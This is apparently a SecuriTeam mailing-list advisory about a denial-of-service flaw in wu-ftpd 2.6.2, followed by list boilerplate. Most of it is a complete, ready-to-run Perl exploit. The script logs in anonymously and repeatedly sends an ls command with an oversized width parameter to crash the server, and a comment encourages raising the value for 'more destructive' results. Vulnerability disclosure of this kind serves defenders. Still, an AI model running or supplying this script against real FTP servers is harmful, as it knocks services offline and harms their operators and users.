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SUMMARY

A vulnerability in Wu−FTPd allows remote attackers to call the /bin/ls
utility with special parameters causing the Wu−FTPd to fail.

DETAILS

Vulnerable systems:
 * wu−ftpd version 2.6.2

Exploit:
#!/usr/bin/perl

# DoS sploit for ls
# tested against wu−ftpd 2.6.2

# coded by (c) druid
# greets to viator

use Net::FTP;

(($target = $ARGV[0])&&($count = $ARGV[1])) || die "usage:$0 <target>
<count>";
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my $user = "anonymous";
my $pass = "halt\@xyu.com";
$cols=1000000;#you can increase this value for more destructive result ;)

print ":: Trying to connect to target system at: $target...\n"; $ftp =
Net::FTP−>new($target, Debug => 0, Port => 21) || die "could not
connect: $!";
print "Connected!\n";
$ftp−>login($user, $pass) || die "could not login: $!";
print "Logged in!\n";
$ftp−>cwd("/");
while ($count)
{
$ftp−>ls("−w $cols −C");
 $count−−;
}
print "Done!\n";
$ftp−>quit;

ADDITIONAL INFORMATION

The information has been provided by <mailto:zlo@cyberspace.org> Druid.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.
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